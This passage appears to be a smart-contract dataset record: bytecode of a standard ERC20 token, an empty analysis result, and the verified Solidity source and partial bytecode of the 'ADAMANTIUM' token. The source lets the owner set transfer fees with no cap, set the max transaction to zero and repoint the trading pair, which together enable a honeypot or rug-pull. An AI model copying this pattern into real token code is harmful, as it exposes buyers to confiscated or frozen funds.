0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012357806370a082311461013657806395d89b4114610149578063a457c2d714610151578063a9059cbb14610164578063dd62ed3e14610177576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101b0565b6040516100c391906107e5565b60405180910390f35b6100df6100da3660046107bc565b610242565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610781565b610258565b604051601281526020016100c3565b6100df6101313660046107bc565b61030e565b6100f361014436600461072e565b610345565b6100b6610364565b6100df61015f3660046107bc565b610373565b6100df6101723660046107bc565b61040e565b6100f361018536600461074f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101bf90610867565b80601f01602080910402602001604051908101604052809291908181526020018280546101eb90610867565b80156102385780601f1061020d57610100808354040283529160200191610238565b820191906000526020600020905b81548152906001019060200180831161021b57829003601f168201915b5050505050905090565b600061024f33848461041b565b50600192915050565b600061026584848461053f565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156102ef5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61030385336102fe8685610850565b61041b565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161024f9185906102fe908690610838565b6001600160a01b0381166000908152602081905260409020545b919050565b6060600480546101bf90610867565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156103f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016102e6565b61040433856102fe8685610850565b5060019392505050565b600061024f33848461053f565b6001600160a01b03831661047d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102e6565b6001600160a01b0382166104de5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102e6565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102e6565b6001600160a01b0382166106055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102e6565b6001600160a01b0383166000908152602081905260409020548181101561067d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102e6565b6106878282610850565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906106bd908490610838565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161070991815260200190565b60405180910390a350505050565b80356001600160a01b038116811461035f57600080fd5b60006020828403121561073f578081fd5b61074882610717565b9392505050565b60008060408385031215610761578081fd5b61076a83610717565b915061077860208401610717565b90509250929050565b600080600060608486031215610795578081fd5b61079e84610717565b92506107ac60208501610717565b9150604084013590509250925092565b600080604083850312156107ce578182fd5b6107d783610717565b946020939093013593505050565b6000602080835283518082850152825b81811015610811578581018301518582016040015282016107f5565b818111156108225783604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561084b5761084b6108a2565b500190565b600082821015610862576108626108a2565b500390565b600181811c9082168061087b57607f821691505b6020821081141561089c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220cf7f84ea44de994e4675250fe5c3e74caeec9631096cf8a9564af05052833a2964736f6c63430008030033
{"success": true, "error": null, "results": {}}
2,706
0x2f72ad04c549e1ab350e52e8437ec795309218b3
/** *Submitted for verification at Etherscan.io on 2021-12-27 */ pragma solidity ^0.8.9; pragma experimental ABIEncoderV2; // SPDX-License-Identifier:MIT // token contract interface interface IBEP20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dex Factory contract interface interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } // Dex Router contract interface interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = payable(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ADAMANTIUM is Context, IBEP20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isExcludedFromFee; mapping(address => bool) public isExcludedFromMaxTx; string private _name = "ADAMANTIUM"; string private _symbol = "ADAMANTIUM"; uint8 private _decimals = 9; uint256 private _totalSupply = 1 * 1e18 * 1e9; // 1 quintillion IDexRouter public dexRouter; address public dexPair; address public feeAddress1; address public feeAddress2; uint256 public maxTxAmount = _totalSupply.mul(2).div(100); // should be 2% percent per transaction uint256 public percentDivider = 1000; uint256 public launchTime; // can be set only once bool public feesStatus; // disable by default bool public _tradingOpen; //once switched on, can never be switched off. uint256 public taxFee1 = 0; // 0% will be added to the feeAddress1 uint256 public taxFee2 = 0; // 0% will be added to the feeAddress2 constructor(address _feeAddress1, address _feeAddress2) { _balances[owner()] = _totalSupply; feeAddress1 = _feeAddress1; feeAddress2 = _feeAddress2; IDexRouter _dexRouter = IDexRouter( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); // Create a dex pair for this new ADAMANTIUM dexPair = IDexFactory(_dexRouter.factory()).createPair( address(this), _dexRouter.WETH() ); // set the rest of the contract variables dexRouter = _dexRouter; //exclude owner and this contract from fee isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[_feeAddress1] = true; isExcludedFromFee[_feeAddress2] = true; // exclude from max tx isExcludedFromMaxTx[owner()] = true; isExcludedFromMaxTx[address(this)] = true; emit Transfer(address(0), owner(), _totalSupply); } //to receive BNB from dexRouter when swapping receive() external payable {} function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ADAMANTIUM: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ADAMANTIUM: decreased allowance below zero" ) ); return true; } function includeOrExcludeFromFee(address account, bool value) external onlyOwner { isExcludedFromFee[account] = value; } function includeOrExcludeFromMaxTx(address _address, bool value) external onlyOwner { isExcludedFromMaxTx[_address] = value; } function setMaxTxAmount(uint256 _amount) external onlyOwner { maxTxAmount = _amount; } function setFeePercent(uint256 _taxFee1, uint256 _taxFee2) external onlyOwner { taxFee1 = _taxFee1; taxFee2 = _taxFee2; } function enableOrDisableFees(bool _value) external onlyOwner { feesStatus = _value; } function updateAddresses( address payable _feeAddress1, address payable _feeAddress2 ) external onlyOwner { feeAddress1 = _feeAddress1; feeAddress2 = _feeAddress2; } function setRoute(IDexRouter _router, address _pair) external onlyOwner { dexRouter = _router; dexPair = _pair; } function launch() external onlyOwner { require(!_tradingOpen, "ADAMANTIUM: Already enabled"); _tradingOpen = true; launchTime = block.timestamp; } function removeStuckBnb(address payable _account, uint256 _amount) external onlyOwner { _account.transfer(_amount); } function removeStuckToken( IBEP20 _token, address _account, uint256 _amount ) external onlyOwner { _token.transfer(_account, _amount); } function totalFeePerTx(uint256 amount) public view returns (uint256) { uint256 fee = amount.mul(taxFee1.add(taxFee2)).div(percentDivider); return fee; } function _approve( address owner, address spender, uint256 amount ) private { require( owner != address(0), "ADAMANTIUM: approve from the zero address" ); require( spender != address(0), "ADAMANTIUM: approve to the zero address" ); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require( from != address(0), "ADAMANTIUM: transfer from the zero address" ); require(to != address(0), "ADAMANTIUM: transfer to the zero address"); require(amount > 0, "ADAMANTIUM: Amount must be greater than zero"); if ( isExcludedFromMaxTx[from] == false && isExcludedFromMaxTx[to] == false // by default false ) { require( amount <= maxTxAmount, "ADAMANTIUM: amount exceeded max limit" ); if (!_tradingOpen) { require( from != dexPair && to != dexPair, "ADAMANTIUM: Trading is not enabled yet" ); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to isExcludedFromFee account then remove the fee if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feesStatus) { takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from, to, amount, takeFee); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) { _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else { uint256 allFee = totalFeePerTx(amount); uint256 tTransferAmount = amount.sub(allFee); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(tTransferAmount); emit Transfer(sender, recipient, tTransferAmount); if (taxFee1 > 0) _takeFee1(sender, amount); if (taxFee2 > 0) _takeFee2(sender, amount); } } function _takeFee1(address sender, uint256 amount) private { uint256 fee = amount.mul(taxFee1).div(percentDivider); _balances[feeAddress1] = _balances[feeAddress1].add(fee); emit Transfer(sender, feeAddress1, fee); } function _takeFee2(address sender, uint256 amount) private { uint256 fee = amount.mul(taxFee2).div(percentDivider); _balances[feeAddress2] = _balances[feeAddress2].add(fee); emit Transfer(sender, feeAddress2, fee); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x6080604052600436106102295760003560e01c80638da5cb5b11610123578063c27f55e2116100ab578063ec28438a1161006f578063ec28438a1461082a578063f242ab4114610853578063f2fde38b1461087e578063f882a056146108a7578063fe6f1b05146108e457610230565b8063c27f55e214610743578063cd52c7011461076e578063dd62ed3e14610799578063ea5b9e85146107d6578063eb78f95e146107ff57610230565b8063a457c2d7116100f2578063a457c2d71461064e578063a9059cbb1461068b578063b0bc2a2d146106c8578063bcda3a03146106f1578063c1d110371461071a57610230565b80638da5cb5b146105a657806395d89b41146105d15780639e406797146105fc578063a0f622851461062557610230565b806339509351116101b1578063715018a611610175578063715018a6146104e3578063790ca413146104fa578063875e5a0314610525578063879dd3c5146105505780638c0b5e221461057b57610230565b806339509351146103c65780635342acb414610403578063658c27a9146104405780636f1678261461047d57806370a08231146104a657610230565b8063095ea7b3116101f8578063095ea7b3146102cb57806318160ddd146103085780631b3b8b791461033357806323b872dd1461035e578063313ce5671461039b57610230565b806301339c21146102355780630505e94d1461024c57806306fdde03146102755780630758d924146102a057610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a61090f565b005b34801561025857600080fd5b50610273600480360381019061026e9190612ac3565b610a18565b005b34801561028157600080fd5b5061028a610b33565b6040516102979190612b9c565b60405180910390f35b3480156102ac57600080fd5b506102b5610bc5565b6040516102c29190612c1d565b60405180910390f35b3480156102d757600080fd5b506102f260048036038101906102ed9190612c6e565b610beb565b6040516102ff9190612cc9565b60405180910390f35b34801561031457600080fd5b5061031d610c09565b60405161032a9190612cf3565b60405180910390f35b34801561033f57600080fd5b50610348610c13565b6040516103559190612d1d565b60405180910390f35b34801561036a57600080fd5b5061038560048036038101906103809190612d38565b610c39565b6040516103929190612cc9565b60405180910390f35b3480156103a757600080fd5b506103b0610d12565b6040516103bd9190612da7565b60405180910390f35b3480156103d257600080fd5b506103ed60048036038101906103e89190612c6e565b610d29565b6040516103fa9190612cc9565b60405180910390f35b34801561040f57600080fd5b5061042a60048036038101906104259190612dc2565b610ddc565b6040516104379190612cc9565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190612dc2565b610dfc565b6040516104749190612cc9565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190612def565b610e1c565b005b3480156104b257600080fd5b506104cd60048036038101906104c89190612dc2565b610ec3565b6040516104da9190612cf3565b60405180910390f35b3480156104ef57600080fd5b506104f8610f0c565b005b34801561050657600080fd5b5061050f61105f565b60405161051c9190612cf3565b60405180910390f35b34801561053157600080fd5b5061053a611065565b6040516105479190612cf3565b60405180910390f35b34801561055c57600080fd5b5061056561106b565b6040516105729190612cc9565b60405180910390f35b34801561058757600080fd5b5061059061107e565b60405161059d9190612cf3565b60405180910390f35b3480156105b257600080fd5b506105bb611084565b6040516105c89190612d1d565b60405180910390f35b3480156105dd57600080fd5b506105e66110ad565b6040516105f39190612b9c565b60405180910390f35b34801561060857600080fd5b50610623600480360381019061061e9190612e5b565b61113f565b005b34801561063157600080fd5b5061064c60048036038101906106479190612ed9565b61122f565b005b34801561065a57600080fd5b5061067560048036038101906106709190612c6e565b61130f565b6040516106829190612cc9565b60405180910390f35b34801561069757600080fd5b506106b260048036038101906106ad9190612c6e565b6113dc565b6040516106bf9190612cc9565b60405180910390f35b3480156106d457600080fd5b506106ef60048036038101906106ea9190612f19565b6113fa565b005b3480156106fd57600080fd5b5061071860048036038101906107139190612f84565b6114ac565b005b34801561072657600080fd5b50610741600480360381019061073c9190612fd7565b6115d4565b005b34801561074f57600080fd5b506107586116ef565b6040516107659190612cf3565b60405180910390f35b34801561077a57600080fd5b506107836116f5565b6040516107909190612cc9565b60405180910390f35b3480156107a557600080fd5b506107c060048036038101906107bb9190613017565b611708565b6040516107cd9190612cf3565b60405180910390f35b3480156107e257600080fd5b506107fd60048036038101906107f89190612e5b565b61178f565b005b34801561080b57600080fd5b5061081461187f565b6040516108219190612d1d565b60405180910390f35b34801561083657600080fd5b50610851600480360381019061084c9190613057565b6118a5565b005b34801561085f57600080fd5b50610868611944565b6040516108759190612d1d565b60405180910390f35b34801561088a57600080fd5b506108a560048036038101906108a09190612dc2565b61196a565b005b3480156108b357600080fd5b506108ce60048036038101906108c99190613057565b611b2c565b6040516108db9190612cf3565b60405180910390f35b3480156108f057600080fd5b506108f9611b77565b6040516109069190612cf3565b60405180910390f35b610917611c42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b906130d0565b60405180910390fd5b601060019054906101000a900460ff16156109f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109eb9061313c565b60405180910390fd5b6001601060016101000a81548160ff02191690831515021790555042600f81905550565b610a20611c42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa4906130d0565b60405180910390fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b606060058054610b429061318b565b80601f0160208091040260200160405190810160405280929190818152602001828054610b6e9061318b565b8015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b820191906000526020600020905b815481529060010190602001808311610b9e57829003601f168201915b5050505050905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610bff610bf8611c42565b8484611c4a565b6001905092915050565b6000600854905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610c46848484611e15565b610d0784610c52611c42565b610d02856040518060600160405280602d8152602001613954602d9139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cb8611c42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220e9092919063ffffffff16565b611c4a565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000610dd2610d36611c42565b84610dcd8560026000610d47611c42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227290919063ffffffff16565b611c4a565b6001905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b60046020528060005260406000206000915054906101000a900460ff1681565b610e24611c42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea8906130d0565b60405180910390fd5b81601181905550806012819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f14611c42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f98906130d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f5481565b60115481565b601060009054906101000a900460ff1681565b600d5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546110bc9061318b565b80601f01602080910402602001604051908101604052809291908181526020018280546110e89061318b565b80156111355780601f1061110a57610100808354040283529160200191611135565b820191906000526020600020905b81548152906001019060200180831161111857829003601f168201915b5050505050905090565b611147611c42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cb906130d0565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611237611c42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bb906130d0565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561130a573d6000803e3d6000fd5b505050565b60006113d261131c611c42565b846113cd856040518060600160405280602a815260200161392a602a913960026000611346611c42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220e9092919063ffffffff16565b611c4a565b6001905092915050565b60006113f06113e9611c42565b8484611e15565b6001905092915050565b611402611c42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461148f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611486906130d0565b60405180910390fd5b80601060006101000a81548160ff02191690831515021790555050565b6114b4611c42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611541576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611538906130d0565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b815260040161157c9291906131bd565b602060405180830381600087803b15801561159657600080fd5b505af11580156115aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ce91906131fb565b50505050565b6115dc611c42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611669576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611660906130d0565b60405180910390fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60125481565b601060019054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611797611c42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b906130d0565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6118ad611c42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461193a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611931906130d0565b60405180910390fd5b80600d8190555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611972611c42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f6906130d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a669061329a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080611b6c600e54611b5e611b4f60125460115461227290919063ffffffff16565b86611b7d90919063ffffffff16565b611bf890919063ffffffff16565b905080915050919050565b600e5481565b600080831415611b905760009050611bf2565b60008284611b9e91906132e9565b9050828482611bad9190613372565b14611bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be490613415565b60405180910390fd5b809150505b92915050565b6000611c3a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122d0565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb1906134a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2190613539565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e089190612cf3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7c906135cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eec9061365d565b60405180910390fd5b60008111611f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2f906136ef565b60405180910390fd5b60001515600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015611fe8575060001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1561213357600d54811115612032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202990613781565b60405180910390fd5b601060019054906101000a900460ff1661213257600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120f25750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b612131576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212890613813565b60405180910390fd5b5b5b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121da5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121f25750601060009054906101000a900460ff16155b156121fc57600090505b61220884848484612333565b50505050565b6000838311158290612256576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224d9190612b9c565b60405180910390fd5b50600083856122659190613833565b9050809150509392505050565b60008082846122819190613867565b9050838110156122c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122bd90613909565b60405180910390fd5b8091505092915050565b60008083118290612317576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230e9190612b9c565b60405180910390fd5b50600083856123269190613372565b9050809150509392505050565b806124cc5761238a82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061241f82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124bf9190612cf3565b60405180910390a36126ae565b60006124d783611b2c565b905060006124ee82856126b490919063ffffffff16565b905061254284600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b